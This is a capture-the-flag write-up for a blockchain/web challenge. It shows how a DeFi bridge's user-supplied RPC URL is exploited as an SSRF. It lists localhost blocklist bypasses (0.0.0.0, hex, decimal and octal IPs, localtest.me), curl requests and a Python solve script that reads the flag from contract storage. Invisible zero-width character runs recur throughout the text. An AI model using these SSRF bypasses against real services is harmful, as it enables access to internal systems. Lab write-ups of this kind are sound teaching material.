← Back to Writeups
CUSTOMMediumBlockchain

[Blackbox] Web3_Bridge

XESXOR9/2/20264 min read
#blockchain#custom#medium#bytecode_string_extraction#eth_getstorageat#ssrf_filter_bypass_alternative#ssrf_via_user_controlled_url#linux

[Blackbox] Web3_Bridge

Platform: caplag | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-22 | Status: Solved Techniques: bytecode_string_extraction, eth_getStorageAt, ssrf_filter_bypass_alternative_ip, ssrf_via_user_controlled_url

Summary

Task: DeFi Bridge app with user-controlled RPC URL for transaction verification. Solution: SSRF via 0.0.0.0 bypass to access internal Anvil chain, read flag from contract storage slot using eth_getStorageAt.

[Blackbox] Web3_Bridge — caplag

Description

A mini-stack of DeFi protocols (Bridge, VIP, Staking, Lending, Governance) is presented. The architecture includes an Nginx frontend, a backend server, and a local Anvil (Foundry) network as the blockchain environment. The task focuses on the Bridge component.

Infrastructure:

  • Frontend: https://task-stock-market-9c989f3799cf241c.caplag-task.ru/
  • Anvil RPC (external): not-web.caplag-task.ru:31719
  • Chain ID: 31337
  • Attacker Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d
  • Attacker Address: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Architecture:

flowchart LR
  U[User + MetaMask] -->|HTTP :8080| F[Nginx Frontend]
  F -->|/api/* proxy| B[Backend API]
  B -->|JSON-RPC (SSRF target)| C[Anvil chain]
  U -->|JSON-RPC :8545| C
  D[Deployer (Foundry)] -->|deploy + setup| C
  D -->|writes config.json| V[(shared volume)]
  V --> F
  V --> B

The architecture schema itself labels the Backend→Anvil connection as "SSRF target" — a direct hint.

Analysis

Reconnaissance

Fetched the frontend HTML and discovered pages: Bridge, VIP/Membership, Earn (Staking), Lend, Governance. The JavaScript at /js/app.js revealed all contract ABIs and application logic. The config at /runtime/config.json exposed all deployed contract addresses: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

json
{
  "AccessManager": "0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512",
  "CapLagToken": "0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9",
  "ConfigRegistry": "0x5FbDB2315678afecb367f032d93F642f64180aa3",
  "FlashLoanProvider": "0x0B306BF915C4d645ff596e518fAf3F9669b97016",
  "Kaboom": "0x3Aa5ebB10DC797CAC828524e59A333d0A371443c",
  "LendingVault": "0x0DCd1Bf9A1b36cE34237eEaFef220932846BCD82",
  "Player": "0x70997970C51812dc3A010C7d01b50e0d17dc79C8",
  "SimpleAMM": "0x8A791620dd6260079BF849Dc5567aDC3F2FdC318",
  "StakingPool": "0xa513E6E4b8f2a923D98304ec87F64353C4D5C853",
  "TreasuryImplementation": "0x9A9f2CCfdE556A7E9Ff0848998Aa4a0CFD8863AE",
  "TreasuryProxy": "0x68B1D87F95878fE05B998F19b66F4baba5De1aed",
  "USDC": "0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9",
  "VipNonce": 42,
  "VipSignatureUsed": "0x6ed999961388ab2be9369503d9b9d7d22fe54cdc48b81d49bd03926ce50232b06f4be70333b24d2b55709254301578a3570d7fdb5204173ac3195bcab604135a1b"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Identifying the SSRF in Bridge

The Bridge page (/bridge) has a "Verify Transaction" form with two inputs:

  1. A transaction hash
  2. An RPC endpoint URL (under "Advanced Settings", defaulting to https://cloudflare-eth.com)

The frontend JavaScript shows the runBridge() function sends a POST to /api/bridge/verify with { txHash, rpcUrl }. The backend takes the user-supplied rpcUrl and makes a JSON-RPC call (likely eth_getTransactionReceipt) to that URL — a classic Server-Side Request Forgery (SSRF) vulnerability. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SSRF Filter Bypass

The backend has a blocklist for common localhost representations:

URLResult
http://localhost:8545{"error":"rpcUrl_blocked"} ❌
http://127.0.0.1:8545{"error":"rpcUrl_blocked"} ❌
http://127.0.0.1.nip.io:8545{"error":"rpcUrl_blocked"} ❌
http://0.0.0.0:8545✅ WORKS
http://0x7f000001:8545✅ WORKS (hex IP)
http://2130706433:8545✅ WORKS (decimal IP)
http://017700000001:8545✅ WORKS (octal IP)
http://localtest.me:8545✅ WORKS (DNS rebinding)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The simplest bypass: 0.0.0.0 resolves to localhost but wasn't in the blocklist.

Solution

Step 1: Exploit SSRF to access internal Anvil chain

With SSRF access to the internal Anvil chain, verify transactions on the internal chain:

bash
curl -s -X POST \
  "https://task-stock-market-9c989f3799cf241c.caplag-task.ru/api/bridge/verify" \
  -H "Content-Type: application/json" \
  -d '{
    "txHash": "0xf5312abf08664ddb87c7ce1360ef73161367ae5810c55fac41f308f4f6cce9a3",
    "rpcUrl": "http://0.0.0.0:8545"
  }'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This returned the transaction receipt for the ConfigRegistry contract deployment.

Step 2: Find the flag

Method A — In contract creation bytecode (block 1 transaction input data):

By examining block 1's transaction, the contract creation bytecode contained the flag as a hex-encoded string at the end:

...6361706c61677b737372665f6272696467655f73746f726167655f6c65616b7d

Decoding:

bash
echo "6361706c61677b737372665f6272696467655f73746f726167655f6c65616b7d" | xxd -r -p
# Output: caplag{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Method B — In storage slot 0 of ConfigRegistry contract:

bash
curl -s -X POST "http://not-web.caplag-task.ru:31719" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "method": "eth_getStorageAt",
    "params": [
      "0x5FbDB2315678afecb367f032d93F642f64180aa3",
      "0x0",
      "latest"
    ],
    "id": 1
  }'

Response:

json
{
  "jsonrpc": "2.0",
  "id": 1,
  "result": "0x6361706c61677b737372665f6272696467655f73746f726167655f6c65616b7d"
}

Same hex string decoding to the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full solve script

python
#!/usr/bin/env python3
"""
caplag — [Blackbox] Web3_Bridge solver
SSRF via Bridge verify endpoint → read internal chain storage → flag
"""
import requests
import binascii

TARGET = "https://task-stock-market-9c989f3799cf241c.caplag-task.ru"
SSRF_RPC = "http://0.0.0.0:8545"  # bypass blocklist
CONFIG_REGISTRY = "0x5FbDB2315678afecb367f032d93F642f64180aa3"

# Step 1: Use SSRF to read storage slot 0 of ConfigRegistry
# The bridge verify endpoint proxies our JSON-RPC request to the internal Anvil
# We abuse this to call eth_getStorageAt on the internal chain
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# First, we need a valid-looking txHash to pass validation
# Use the ConfigRegistry deployment tx from block 1
resp = requests.post(
    f"{TARGET}/api/bridge/verify",
    json={
        "txHash": "0xf5312abf08664ddb87c7ce1360ef73161367ae5810c55fac41f308f4f6cce9a3",
        "rpcUrl": SSRF_RPC
    }
)
print(f"[*] SSRF verify response: {resp.status_code}")
print(f"[*] Response: {resp.text[:200]}")

# Step 2: Directly read storage via external RPC (if available)
EXTERNAL_RPC = "http://not-web.caplag-task.ru:31719"
resp = requests.post(
    EXTERNAL_RPC,
    json={
        "jsonrpc": "2.0",
        "method": "eth_getStorageAt",
        "params": [CONFIG_REGISTRY, "0x0", "latest"],
        "id": 1
    }
)
result = resp.json()["result"]
print(f"[*] Storage slot 0: {result}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Decode hex to ASCII
flag_hex = result.replace("0x", "")
flag = binascii.unhexlify(flag_hex).decode("utf-8")
print(f"[+] Flag: {flag}")

Notes

  • The architecture schema (schema.txt) directly indicated SSRF as the attack vector
  • 0.0.0.0 is the simplest and most reliable way to bypass typical localhost blocklists
  • Data on the blockchain is never private — even Solidity private variables can be read via eth_getStorageAt
  • The flag was accessible via two paths: through the deployment transaction bytecode and through the contract's storage slot ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍